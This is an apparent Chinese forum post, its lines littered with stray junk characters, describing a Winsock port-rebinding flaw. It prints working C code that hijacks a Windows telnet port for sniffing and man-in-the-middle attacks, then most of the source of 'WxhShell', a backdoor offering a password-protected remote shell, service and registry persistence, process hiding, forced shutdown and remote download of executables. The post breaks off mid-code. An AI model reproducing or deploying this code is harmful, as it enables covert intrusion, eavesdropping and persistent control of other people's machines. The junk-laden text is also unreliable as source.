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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f};!m=b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \(wn@/yP'  
1.uUMW  
  saddr.sin_family = AF_INET; +i2YX7Of  
pEJ#ad  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TIKEg10I  
"@aq@mY@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 55(J&q  
WNl&v]   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]9dx3<2_I  
Am]2@ESUP  
  这意味着什么?意味着可以进行如下的攻击: <[esA9.]t  
G!-7ic_4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hs.6;|0%  
r=xTs,xx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZKZl>dDuh  
|2[S/8g!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )Fw @afE~  
Dg1kbO=2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :Xh_$4~^Y  
Q|6Ls$'$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =I %g;YK  
z0=Rp0_W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >2 FAi.,  
+.XZK3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ks9FnDm8  
j\%?<2dj=  
  #include 1y_fQ+\2A  
  #include +"TI_tK, S  
  #include dx k;@Tz  
  #include    " &_$V@S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _K*\}un2  
  int main() aslU`#"  
  { myEGibhK  
  WORD wVersionRequested; 3w[<cq.!  
  DWORD ret; wpAw/-/  
  WSADATA wsaData; LuQ"E4;nY%  
  BOOL val; Xp<A@2wt?  
  SOCKADDR_IN saddr; ~R"]LbeY  
  SOCKADDR_IN scaddr; HTR "mQ  
  int err; x e"4u JO  
  SOCKET s; f)p>nW?Z  
  SOCKET sc; c13vEn!c  
  int caddsize; C.b,]7i  
  HANDLE mt; T b5$  
  DWORD tid;   x&Q+|b%  
  wVersionRequested = MAKEWORD( 2, 2 ); OL,/-;z6  
  err = WSAStartup( wVersionRequested, &wsaData ); !C9ps]6  
  if ( err != 0 ) { *%P>x}6w3  
  printf("error!WSAStartup failed!\n"); ^.ZSpc}<  
  return -1; JUe K"|fA  
  } :w?:WH?2L  
  saddr.sin_family = AF_INET; vLi/'|7  
   .5jnKU8NF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >X-ed  
$.suu^>^w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )nf=eU4|  
  saddr.sin_port = htons(23); [ t>}SE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oi33{#%t  
  { ^&f{beU9  
  printf("error!socket failed!\n"); Nb|3?c_  
  return -1; =DeHxPv}f  
  } +0oyt?  
  val = TRUE; c4!c_a2pS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -6hu31W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~u O:tL  
  { s0~05{  
  printf("error!setsockopt failed!\n"); v^ y}lT  
  return -1; ,(;p(#F>  
  } 7eaA]y~H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yDu yMt#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 > {'5>6u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #;qFPj- v  
doxdRYKL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7 K;'7  
  { P3,Z5|)  
  ret=GetLastError(); F]URf&U  
  printf("error!bind failed!\n"); t  z +  
  return -1; pXpLL_  
  } JxMyeo%gv  
  listen(s,2); *_2O*{V  
  while(1) -Fp!w"=T  
  { oP43NN~  
  caddsize = sizeof(scaddr); :Ul'(@  
  //接受连接请求 I>YtWY|ed  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t5X G^3X@  
  if(sc!=INVALID_SOCKET) z$I[kR%I{  
  { N+C%Z[gt[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >Rl0%!  
  if(mt==NULL) O]$*EiO\  
  { 6ywnyh  
  printf("Thread Creat Failed!\n"); onWYT}c{  
  break; ^5FJ}MMJf  
  } 0~@L%~  
  } \ pe[V~F  
  CloseHandle(mt); 36x5q 1  
  } .dg 4gr\D  
  closesocket(s); xy-$v   
  WSACleanup(); #G[ *2h~99  
  return 0; G>_42Rp  
  }   (d5vH)+ A  
  DWORD WINAPI ClientThread(LPVOID lpParam) N>cp>&jV  
  { oneSgJ  
  SOCKET ss = (SOCKET)lpParam; I;Z`!u:+  
  SOCKET sc; >~^mIu_BH  
  unsigned char buf[4096]; 2heWE  
  SOCKADDR_IN saddr; _Gs  
  long num; OxmlzQ"vM  
  DWORD val; N$ qNe'b  
  DWORD ret; T ?<'=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w>9H"Q[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hd=D#u=A4{  
  saddr.sin_family = AF_INET; @2%VU#!m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :Z*02JwK  
  saddr.sin_port = htons(23); "S{6LWkD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NejsI un%  
  { k #,Gfs  
  printf("error!socket failed!\n"); L8?Z!0D/h  
  return -1; w/^0tZ~  
  } SS45<!i y  
  val = 100; Fb\2df{@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sa0^1$(<  
  { Rrs`h `'-  
  ret = GetLastError(); r=P$iG'&  
  return -1; 9`gGsC  
  } om*tdG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $Kw"5cm  
  { %DND&0`  
  ret = GetLastError(); 2'O!~8U  
  return -1; yaYIgG  
  } 6%tiB?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oRvm*"8B  
  { x#}j3" PP  
  printf("error!socket connect failed!\n");  2U+z~  
  closesocket(sc); :+gCO!9Y  
  closesocket(ss); v#<+n{B  
  return -1; q=E}#[EgY  
  } [V#&sAe  
  while(1) u {E^<fW]  
  { *"wD& E?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p Yi=q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }HA2c e\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 43orR !.Z  
  num = recv(ss,buf,4096,0); aP6%OI  
  if(num>0) G7kFo6Cb  
  send(sc,buf,num,0); 9q0,K" x)  
  else if(num==0) -SC2Zgi)A  
  break; 1 [~|  
  num = recv(sc,buf,4096,0); x1hs19s  
  if(num>0) JG+g88  
  send(ss,buf,num,0); Z+"E*  
  else if(num==0) 5x1jLPl'  
  break; ).O2_<&?F  
  } wJ]$'c3  
  closesocket(ss); %.atWX`b  
  closesocket(sc); D !D%.  
  return 0 ; i$LV44  
  } [(e`b  
Jk6/i;4|  
dn.c#,Y  
========================================================== ~]_jKe4W  
(EF$^FYPK  
下边附上一个代码,,WXhSHELL I;":O"ij\  
|)P;%Fy9  
========================================================== ^x1D]+  
CsST-qxg  
#include "stdafx.h" ][$$  =  
yn ?U7`V  
#include <stdio.h> ywsz"/=@  
#include <string.h> BUy}Rn  
#include <windows.h> .*wjkirF#~  
#include <winsock2.h> 5-QvQ&eH.  
#include <winsvc.h> raI~BIfe  
#include <urlmon.h> uwS'*5tU  
FUTyx"   
#pragma comment (lib, "Ws2_32.lib") hwol7B>   
#pragma comment (lib, "urlmon.lib") ?[>BssW  
:#!F 7u  
#define MAX_USER   100 // 最大客户端连接数 $gD(MKR)~  
#define BUF_SOCK   200 // sock buffer ;Wrd=)Ka  
#define KEY_BUFF   255 // 输入 buffer s)&R W#:X  
=ILo`Q~  
#define REBOOT     0   // 重启 <812V8<!  
#define SHUTDOWN   1   // 关机 T?}=k{C]  
7_'k`J@_  
#define DEF_PORT   5000 // 监听端口 c,s<q j  
4#Nd;gM2  
#define REG_LEN     16   // 注册表键长度 {Z~VO  
#define SVC_LEN     80   // NT服务名长度 9787uj]Y}H  
%!hA\S  
// 从dll定义API }y=n#%|i.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k3|9U'r!c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b!tZbX#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E6&uZr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r Xk   
: w`i  
// wxhshell配置信息 kU9AfAe  
struct WSCFG { `9"jHw`D  
  int ws_port;         // 监听端口 M+&eh*:z:  
  char ws_passstr[REG_LEN]; // 口令 Mud\Q["  
  int ws_autoins;       // 安装标记, 1=yes 0=no WaO;hy~us  
  char ws_regname[REG_LEN]; // 注册表键名 Ei(`gp  
  char ws_svcname[REG_LEN]; // 服务名 1~ZHC[ `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 By"ul:.D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H(ftOd.y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HvfTC<+H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5>k~yaju/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <HX-qNA?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [(^''*7r+T  
HBkQ`T  
}; GISI8W^  
WAXrA$:3J  
// default Wxhshell configuration 21J82M  
struct WSCFG wscfg={DEF_PORT, g='2~c  
    "xuhuanlingzhe", Y?SJQhN6W  
    1, oTa+E'q  
    "Wxhshell", NZ? =pfK\s  
    "Wxhshell", RoXOGVo  
            "WxhShell Service", r3lr`s`  
    "Wrsky Windows CmdShell Service", Z"8cGN'  
    "Please Input Your Password: ", 2OOj8JS  
  1, y]z#??  
  "http://www.wrsky.com/wxhshell.exe", B!C32~[  
  "Wxhshell.exe" 3G0\i!*t  
    }; [8g\pPQ  
!~DkA7i55  
// 消息定义模块 i*rv_G|(Zj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +( 7vmC.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KE1@z]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]tV{#iIJ*  
char *msg_ws_ext="\n\rExit."; *xNjhR]7v  
char *msg_ws_end="\n\rQuit."; HDG"a&$   
char *msg_ws_boot="\n\rReboot..."; FQ&VM6_  
char *msg_ws_poff="\n\rShutdown..."; j{+I~|ZB,  
char *msg_ws_down="\n\rSave to "; H ;}ue  
C2%3+  
char *msg_ws_err="\n\rErr!"; *m Tc4&*  
char *msg_ws_ok="\n\rOK!"; R}mWHB_h"  
UVRV7^eTe  
char ExeFile[MAX_PATH]; 7`n8 OR4  
int nUser = 0; NNV.x7  
HANDLE handles[MAX_USER]; 24k}~"We  
int OsIsNt; p+1B6j  
H0Xda.Y(  
SERVICE_STATUS       serviceStatus; pNme jz:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E$fy*enON  
R1%T>2"~&  
// 函数声明 !f[N&se  
int Install(void); 3JO:n6  
int Uninstall(void); B ~bU7.Cd  
int DownloadFile(char *sURL, SOCKET wsh); 3gXUfv2ID  
int Boot(int flag); #3jZ7RqzQ  
void HideProc(void); A)0m~+?{J  
int GetOsVer(void); 'n`$c{N<tM  
int Wxhshell(SOCKET wsl); , Vr6  
void TalkWithClient(void *cs); w0OK. fj  
int CmdShell(SOCKET sock); lcLxqnv  
int StartFromService(void); m/c~2?-;  
int StartWxhshell(LPSTR lpCmdLine); \shoLp   
5%$kAJZC-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <t2?Oii;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D#(Pg  
}=R|iz*,!  
// 数据结构和表定义 vx,6::%]  
SERVICE_TABLE_ENTRY DispatchTable[] = )CU(~s|s  
{ ov}{UP]a?  
{wscfg.ws_svcname, NTServiceMain}, l1j   
{NULL, NULL} hIHO a  
}; _$x *CP0(  
dTNgrW`4  
// 自我安装 0a;zT O/"v  
int Install(void) 4ov~y1Da)  
{ Qx#)c%v \\  
  char svExeFile[MAX_PATH]; (bXp1*0 ;  
  HKEY key; wn.0U  
  strcpy(svExeFile,ExeFile); Hh/#pGf2  
X*;p;N  
// 如果是win9x系统,修改注册表设为自启动 DGUU1 vA  
if(!OsIsNt) { $ :P~21,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p_N=V. w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p#I1l2nE  
  RegCloseKey(key); eS+LFS7*k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }jXUd=.Nu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7m$/.\5  
  RegCloseKey(key); ]5L3[A4Vu  
  return 0; BF#e=p  
    } &wvv5Vd  
  } @TT[H*,  
} `hhG^ O_  
else { b(,[g>xH   
3Pq)RD|hn  
// 如果是NT以上系统,安装为系统服务 *GMRu,u2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZaV@}=Rd8  
if (schSCManager!=0) A`8If  
{ UJ&,9}L8  
  SC_HANDLE schService = CreateService W6>uLMUa  
  ( y%AJ>@/;  
  schSCManager, MS)bhZvO  
  wscfg.ws_svcname, Rx<F^J  
  wscfg.ws_svcdisp, Lr&tpB<  
  SERVICE_ALL_ACCESS, #v<+G=r*O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kDQXP p  
  SERVICE_AUTO_START, Cm>F5$l{  
  SERVICE_ERROR_NORMAL, HBu>BSv:  
  svExeFile, bvKi0-  
  NULL,  '%4,!  
  NULL, XDQ1gg`  
  NULL, Ky|0IKE8Z  
  NULL, V-|}.kOH2  
  NULL i=UJ*c  
  ); gsH_pG-jU  
  if (schService!=0) cm<3'#~Q?  
  { [8n4lE[)"  
  CloseServiceHandle(schService); .BvV[`P  
  CloseServiceHandle(schSCManager); 3@J wL{C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )*B.y|b #  
  strcat(svExeFile,wscfg.ws_svcname); 6]*qx5m`<l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `pr,lL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &~EOM  
  RegCloseKey(key); aMWNZv  
  return 0; +{Ttv7l_2  
    } *,u{~(thR  
  } n_j[hA  
  CloseServiceHandle(schSCManager); wim}}^H  
} 8?!Vr1x  
} c`cPGEv  
Yy]He nw;  
return 1; c"r( l~fc  
} Bdi~ B")  
:>z0m 0nI\  
// 自我卸载 c2QC`h(Wb  
int Uninstall(void) h";sQ'us  
{ 5Z'pMkn3  
  HKEY key; tee%E=P  
uU0'y4=  
if(!OsIsNt) { &H6Fkza;4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QQJ cvaQ  
  RegDeleteValue(key,wscfg.ws_regname); FrS>.!OFn  
  RegCloseKey(key); T^ -RP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \} 5\^&}_  
  RegDeleteValue(key,wscfg.ws_regname); P=.W.oS  
  RegCloseKey(key); Cb<\  
  return 0; ,h"M{W$  
  } Q6E80>  
} 4U3T..wA  
} d?JVB  
else { 1x]G/I*  
{ .AFg/Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6aL`^^  
if (schSCManager!=0) dJk.J9Z  
{ hk(^?Fp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HDYoM  
  if (schService!=0) LF8B5<[O  
  { H)Yv_gT  
  if(DeleteService(schService)!=0) { AyWCb  
  CloseServiceHandle(schService); g_`8K,6ln  
  CloseServiceHandle(schSCManager); ;,D7VxWhY  
  return 0; iPao54Z  
  } YB[P`Muj  
  CloseServiceHandle(schService); LS;kq',  
  } Y) Z>Bi  
  CloseServiceHandle(schSCManager); nZ]d[  
} |jlR] ,  
} "dIoIW  
a,X3=+_K  
return 1; ),86Y:^4  
} Mw< 1  
CR<*<=rI  
// 从指定url下载文件 5}f$O  
int DownloadFile(char *sURL, SOCKET wsh) 1K!7FiqY  
{ (5SI! 1N  
  HRESULT hr; % tpjy,  
char seps[]= "/";  (1ebE  
char *token; =6>mlI>i  
char *file; *ood3M[M^  
char myURL[MAX_PATH]; vg<_U&N=-r  
char myFILE[MAX_PATH]; qzq>C"z\Y$  
u VB&D E  
strcpy(myURL,sURL); |b|p0Z%7{  
  token=strtok(myURL,seps); Q-AN~k8+)[  
  while(token!=NULL) 7kO 1d{u6b  
  { K-K+%U  
    file=token; %k"-rmW  
  token=strtok(NULL,seps); 6_XTeu  
  } QJxcH$  
~*&_zPTN  
GetCurrentDirectory(MAX_PATH,myFILE); :wMZ&xERDZ  
strcat(myFILE, "\\"); Upf1*$p  
strcat(myFILE, file); &_ber ad  
  send(wsh,myFILE,strlen(myFILE),0); xi^_C!*J  
send(wsh,"...",3,0); ]:F]VRPT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fZg Z  
  if(hr==S_OK) Te;`-E L  
return 0; p!=/a)4X  
else 5ES$qYN  
return 1; N52N ^X>  
FJ/kumq  
} % 30&6"  
gZ 9<H q  
// 系统电源模块 CpA=DnZ  
int Boot(int flag) ~s+\Y/@A  
{ ).LJY<A  
  HANDLE hToken; h.PY$W<  
  TOKEN_PRIVILEGES tkp; F<o J  
_T H'v:C  
  if(OsIsNt) { o)w'w34FCT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {jbOcx$t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fq~de%y  
    tkp.PrivilegeCount = 1; {2-w<t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $H?v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TJ#<wIiX  
if(flag==REBOOT) { vAX %i(4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @A g=2\9  
  return 0; /|Zk$q.\  
} H`kfI"u8  
else { M>-x\[n+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yhZ2-*pTg  
  return 0; hD sFsG  
} "zfy_h  
  } l]GLkE  
  else { Xq9%{'9  
if(flag==REBOOT) { fy7]I?vm@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) od$Cm5  
  return 0; I/t2c=f  
} s+,JwV?b  
else { .F |yxj;I7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %G>*Pez %  
  return 0; )%P!<|s:5  
} 0D=6-P?^W  
} F@[l&`7  
[Qr#JJ  
return 1; _HGbR/  
} A=>%KQc?  
dQTJC %]O  
// win9x进程隐藏模块 H&l/o  
void HideProc(void) S9-FKjU  
{ .- uH ax0  
pFhznH{0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); whr[rWt@>  
  if ( hKernel != NULL ) 3 (jI  
  { cJGU~\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4; y*y tY*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J&2cf#  
    FreeLibrary(hKernel); p v%`aQ]o{  
  } IOomBy:  
wm_xH_{F  
return; Dhv ^}m@  
} 0;KjP?5  
1)w^.8f  
// 获取操作系统版本 `|+!H.3  
int GetOsVer(void) uL`_Sdjw  
{ k,OP*M  
  OSVERSIONINFO winfo; V& _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &i$p5  
  GetVersionEx(&winfo); LS <\%A}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s +"?j  
  return 1; OjFB_ N  
  else ch!/k  
  return 0; "`s{fy~mV  
} e+Vn@-L;  
s$s~p +U  
// 客户端句柄模块 ,'Zs")Ydp  
int Wxhshell(SOCKET wsl) V\vt!wBcB  
{ IZn|1X?}\s  
  SOCKET wsh; IN~Q(A]Z%  
  struct sockaddr_in client; E:(DidSE@  
  DWORD myID; \W4|.[  
@vs+)aRa  
  while(nUser<MAX_USER) `r+zNJ@q  
{ ~nDbWv"  
  int nSize=sizeof(client); 0QcC5y;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8Q4yllv4  
  if(wsh==INVALID_SOCKET) return 1; {S,L %  
lf-1;6nyk"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y<|8OTT  
if(handles[nUser]==0) [3o^06V8j  
  closesocket(wsh); #%5[8~&  
else 0w<vc}{t  
  nUser++; &P'd&B1   
  } 6 b-'Hui+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wkc)2z   
}xJ ).D  
  return 0; wN Mf-~  
} Qa>t$`o`  
21_sg f?  
// 关闭 socket &!N9.e:-]  
void CloseIt(SOCKET wsh) %0&59q]LM  
{ J;wDvt]]1  
closesocket(wsh); M-7^\wXTA  
nUser--; !-B$WAV  
ExitThread(0); B:oE&Ahh{  
} r^zra|]  
%1h%#/#[  
// 客户端请求句柄 `8M{13fv  
void TalkWithClient(void *cs) x`n7D  
{ >= O5=\`  
Op<,e{[]  
  SOCKET wsh=(SOCKET)cs; &1 t84p:^=  
  char pwd[SVC_LEN]; ]?c9;U  
  char cmd[KEY_BUFF]; 1{1 5#W  
char chr[1]; &uP,w#  
int i,j; 7G':h0i8  
q!f'?yFYK  
  while (nUser < MAX_USER) { `?=Y^+*!-  
Ndmki 7A  
if(wscfg.ws_passstr) { b=+3/-d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <*_DC)&7 9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d RIuA)0s  
  //ZeroMemory(pwd,KEY_BUFF); wNvq['P  
      i=0; ?LSwJ @#  
  while(i<SVC_LEN) { vFwhe!  
6v?tZ&, G  
  // 设置超时 _*w kTI+j  
  fd_set FdRead; s+0n0C  
  struct timeval TimeOut; o#uhPUZ  
  FD_ZERO(&FdRead); jI/#NCKE  
  FD_SET(wsh,&FdRead); C[R|@9NI  
  TimeOut.tv_sec=8; *)bh6b=7  
  TimeOut.tv_usec=0; VW\xuP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T3bYj|rh=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w5<&b1:  
N1fPutl$a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \%}w7J;  
  pwd=chr[0]; Sc14F Fs  
  if(chr[0]==0xd || chr[0]==0xa) { W %<,GV  
  pwd=0; zD@RW<M  
  break; NjFlV(XT}  
  } o)WzZ,\F^J  
  i++; HuLvMYF  
    } ak_n  
*JArR1J  
  // 如果是非法用户,关闭 socket }Jo}K) >!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fA)4'7UT  
} Ex<@:  
yYH>~,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w!r.MWE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ZS5}/ZU  
L'HO"EZFj  
while(1) { h9Tst)iRi  
e'X"uH Xt.  
  ZeroMemory(cmd,KEY_BUFF); Z6fR2A~Q[  
o*5b]XWw  
      // 自动支持客户端 telnet标准   7Vo[zo  
  j=0;  Il]p >B  
  while(j<KEY_BUFF) { $Zn>W@\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Qu.CvYF  
  cmd[j]=chr[0]; oM!zeJNA  
  if(chr[0]==0xa || chr[0]==0xd) { Bo4iX,zu  
  cmd[j]=0; AzMX~cd  
  break; .A F94OlE/  
  } +WE<S)z<  
  j++; th|'t}bWV  
    } &[t} /+)  
9~v#]Q}Z}4  
  // 下载文件 uoq|l  
  if(strstr(cmd,"http://")) { byHXRA)39  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~? n)/i("  
  if(DownloadFile(cmd,wsh)) R[W'LRh~:1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DD'RSV5]  
  else a;f A0_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N)EJP ~0  
  } +{\b&q_  
  else { PTpGZ2FZ  
PNpH)'C|  
    switch(cmd[0]) { &UQP9wS4v  
  g$U7bCHG  
  // 帮助 ua!RwSo  
  case '?': { eB_ M *+^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }F-,PSH Ml  
    break; TOsHb+Uv  
  } ]RuH6d2d|  
  // 安装 NchEay;`  
  case 'i': { b6^#{))"  
    if(Install()) mr+8[0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;F:Qz^=.a  
    else ejpSbVJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bgs,6:  
    break; \ccCrDz  
    } B/K{sI  
  // 卸载 @<$_X1)s  
  case 'r': { E9Hyd #A  
    if(Uninstall()) \tfhF#'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6C- !^8[f  
    else T# 3`&[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `;Xwv)  
    break; )2?A|f8  
    } vPsf{[Kr  
  // 显示 wxhshell 所在路径 -:Jn|=  
  case 'p': { ]m\:XhI*<  
    char svExeFile[MAX_PATH]; S~ZRqL7Z O  
    strcpy(svExeFile,"\n\r"); w1)SuMFK_  
      strcat(svExeFile,ExeFile); i%otvDn1  
        send(wsh,svExeFile,strlen(svExeFile),0); J%P{/nR  
    break; X?S LYm@v  
    } pW5PF)([  
  // 重启 =UV=F/Af^  
  case 'b': { (!koz'f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }/VSIS@Z  
    if(Boot(REBOOT)) m8 Ti{w(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5wI j:s  
    else { &P(vm@*  
    closesocket(wsh); E#`JH  
    ExitThread(0); { \5-b:#_  
    } +||[H)qym  
    break; Dl_SEf6b  
    } |dqvv  
  // 关机 1A{iUddR  
  case 'd': { QW>(LGG=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h<FEe~  
